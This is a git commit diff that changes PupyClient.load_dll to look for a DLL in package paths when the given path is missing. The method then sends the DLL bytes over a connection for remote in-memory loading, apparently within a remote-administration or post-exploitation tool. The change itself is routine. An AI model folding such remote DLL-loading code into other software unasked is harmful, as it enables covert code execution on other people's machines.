Search for dlls in packages path, if not found by passed path

This commit is contained in:
Oleksii Shevchuk 2016-10-25 22:50:23 +03:00
parent e9f0acc254
commit d9aa0ab9c5
1 changed files with 13 additions and 1 deletions

View File

@ -182,10 +182,22 @@ class PupyClient(object):
if name in self.imported_dlls:
return False
buf=b""
if not os.path.exists(path):
path = None
for packages_path in self.get_packages_path():
packages_path = os.path.join(packages_path, name)
if os.path.exists(packages_path):
path = packages_path
if not path:
raise ImportError("load_dll: couldn't find {}".format(name))
with open(path,'rb') as f:
buf=f.read()
if not self.conn.modules.pupy.load_dll(name, buf):
raise ImportError("load_dll: couldn't load %s"%name)
raise ImportError("load_dll: couldn't load {}".format(name))
self.imported_dlls[name]=True
return True